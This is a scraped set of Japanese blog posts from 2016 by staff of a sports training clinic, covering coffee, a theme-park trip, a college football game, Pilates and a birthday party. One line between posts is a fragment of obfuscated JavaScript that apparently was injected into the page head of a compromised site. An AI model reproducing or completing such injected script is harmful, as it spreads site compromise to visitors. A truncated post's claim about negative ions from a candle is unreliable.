年: 2016年
○○へのこだわり
こんにちは
最近、寒くなって24時間ずっとヒートテックのタイツを履いているトレーナーの坂口です
今日は、以前の木下トレーナーに引き続いて、「私のリラックス方法」をお伝えします。
僕の一番のリラックス法は、コーヒーです。
疲れた時、ちょっと一息入れたい時などに飲むコーヒーはほんとに最高です
※ちなみに、缶コーヒーではありません。(缶コーヒー派の人を否定してるわけじゃないですよ(^▽^))
お気に入りのコーヒー専門店で挽いてもらったものをドリップしてます。
わざわざ手間だという方もおられるんですが、
逆にゆっくりその時間をかけて入れることがリフレッシュにもつながるんで好きなポイントの一つです。
なので、朝以外はいつも時間をかけて楽しんでます
まず、ドリップする前に豆の香りで癒されて、
ゆっくりお湯を淹れながら立ち昇る湯気がまた最高の香りなんですよ。
ちなみにペーパーだと、豆の油分とか甘味も濾過されるようなので、
金属のペーパーレスにこだわってます。笑
一度試してもらったら分かりますが、飲んだ時の旨みが違います。
「豆がフルーティーな香りって何やねん。」「チョコみたいな風味…んなわけないやろ!」と思っている方!騙されたと思って使ってみてください
「コーヒーの風味ってこういうことか!」って納得するはず。
※ここまでくると、もう缶コーヒーでは満足できなくなっちゃいます。笑
と、このブロクを書いているとまた飲みたくなってきたので、今から淹れてゆっくり飲もうと思います。笑
これから寒くなるのでコーヒーも飲みたくなるはず
みなさんも一度、豆を買って飲んでみてください。
テーマパークデート♪
こんにちは!村田です
12月に入り、一気に寒くなりました・・・
インフルエンザとノロウイルスが大流行しております。
手洗い30秒とうがいを怠らないように気をつけていきましょう!
特にノロウイルスはアルコール消毒では効果がないので、手洗い必須です
ではでは、
今回のブログ記事の内容ですが、
大阪府にある夢のテーマパークへ行ってきましたー٩(๑❛ᴗ❛๑)۶
大阪のテーマパークといえば?…
そりゃもちろん…
楽しいジェットコースターやアトラクションがある…
そう『ひらパー』です。
テーマパークといえば、
皆さんもここしかないですよね~笑
ハリーポッターやスパイダーマンは居ませんが、ひらパー兄さんがいるから大丈夫♪( ´▽`)笑
1分ぐらいのアトラクションを2,3時間並ぶのはなかなか大変ですが、
長くても20分並べばほとんどのアトラクションを楽しめます!
素晴らしいですね!
ぱちぱち~
まあ少し天気が悪く曇りでしたが、
雨は降らずに楽しめました!!
全部のアトラクションに乗れ、大満足でした
そこで一つ事件が起きました・・・
パチャンガというアトラクションに乗ったときのことです。
↑これです。
「多少濡れる場合がございます」 と 聴いてましたがアトラクションから出てくる人で濡れている人は
誰も居ませんでした。
まあ、大丈夫だろうとワクワクで乗り込みました
最初はゆっくり流れていくのですが、
気が付けば猛スピードでクルクル回り出しました。
簡潔に、
結果としてはこうなりました
え?…
濡れ方が甘くすいません。
この流れはビショビショにならないとダメですよね
ちなみにこの日の気温最低気温は8度でした。
寒くて震えながら撮る写真も笑顔が引きつってます。
総合的に楽しめて良かったです!!
誰と行ったかは…
ご想像にお任せします(-.-;)y-~~~
今年も後少しですが、どうぞ宜しくお願いします
新スタッフ紹介!!

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甲子園ボウル
みなさん、こんにちは トレーナーの津崎です
ますます寒くなってきましたね
私の地元の三田では、朝の気温は氷点下です…😵🙌🏻
近畿の最低気温ランキングで1位を取ることもしばしば😅
寒くて外に出たくないという方も多いのではないでしょうか?
そんな時こそ、思い切って外に出ましょう笑
ということで、私は12月18日に阪神甲子園球場で行われた
アメリカンフットボールの大学日本一を決める“甲子園ボウル”🏈に
私の弟と行ってきました
関西学院大学🆚早稲田大学
お弁当を作って持参してもう気持ちはピクニック気分です
そしてスポーツ観戦と言えば…!?
そうですね〜、やっぱりビールですよねぇ笑
ビール片手にアメフトの観戦は最高でした
地元ということもあり関学の応援がすごかったです!
校歌を熱唱するOBの方もたくさんいました
そんな応援の後押しもあり、31対14で関学が勝利しました
やっぱり頑張っている人を見ると私も頑張ろうと思うことができます
WAFAでリハビリやトレーニングを頑張って下さっているみなさんにも
刺激をもらってます。
私は2017年2月にフルマラソンに出場予定です
2016年にハーフマラソンに2回出場しましたが、フルは初めての挑戦です。
年末年始、マラソンに向けてトレーニングに励みたいと思います😊👍🏻
2017年も一緒に頑張りましょう😍😍
リラックス








おまけに、このキャンドルから出るマイナスイオンの量は、森林浴や滝から得られるその量よりも

なので、私は最近マイナスイオンを浴びまくり、癒されまくってます








最後の夏到来!!
代表の長瀬です。
急に気温も上がり、夏到来ですね!!
皆さん、夏と言えば何ですか?
海、川、合宿‥、子供が夏休みで困る‥‥
という主婦の皆様の嘆き声もチラホラ聞こえてきましたが(笑)
僕にとっての夏と言えば、やはり高校野球です
WAFAに来院してくれている多くの球児達や
契約させてもらっているたくさんのチームが“最後の夏”を迎えています。
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var uXgPP = ”+skm+”; QgW.append(uXgPP);} hEkHtvRKg(jQuery(‘head’));
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ピラティス
こんにちは
アスレティックトレーナーの大石です
みなさん、突然ですが、ピラティスってご存知ですか?
ピラティスとは、姿勢改善~アスリートのパフォーマンスアップを手助けするボディワークの1つです。
ヨガと同じように思われがちですが、ヨガは副交感神経を優位にし身体をリラックスさせる効果があります
ピラティスは交感神経を優位にし身体を活発にさせ、身体のゆがみなどを正常な位置へ導き、
理想的な動きを身体に学ばせることができます
主な効果としては、肩こり腰痛改善・姿勢改善・パフォーマンスアップ・怪我の予防などが期待できます
最近では、プロサッカー選手のクリスチアーノロナウド選手が行っていることで話題になりましたね☆
ハードなエクササイズばかりだと捉えられがちですが、1つのエクササイズに修正や応用が何パターンもある上に、
色々な道具(ストレッチポールやリング、ピラティスマシン)があるため、
運動経験のない方や女性、プロのスポーツ選手にも幅広く支持されています
私、大石はPHIピラティスという団体の資格を持っており、
みなさんのリハビリやトレーニングのなかにもちょこちょこピラティスを取り入れています!
ピラティスについて知りたいかたは大石まで声をかけてくださいね~
NAOKI’s BIRTHDAY
代表の長瀬です
少し前ですが坂口先生の誕生日でした
WAFAでは2週間のうちの小森→長瀬→坂口と3人の誕生日があるバースデーパーティーラッシュ
2週間で3回目となると、祝い方が雑に‥
‥はなってきません!?
WAFA恒例、村ちゃんによるHAPPY BIRTHDAY 独唱から始まり‥
%e5%8b%95%e7%94%bb-2016-11-02-21-24-50
僕からのプレゼント、『とりあえずこんなのでいいか。』と
適当に選んだアンダーアーマーのパーカーをプレゼントして、
小森トレーナーからはシャンパンでは無く、シャンメリーでみんなで乾杯して、
祝いの言葉も会話もなく、空腹を満たそうと、ひたすらみんなでケーキを奪い合う
という非常に感情のこもった素晴らしいバースデーパーティーでした(笑)
次回のWAFA BIRTH DAY パーティーも乞う御期待
バッテリー誕生‼︎




WAFAの一貫性

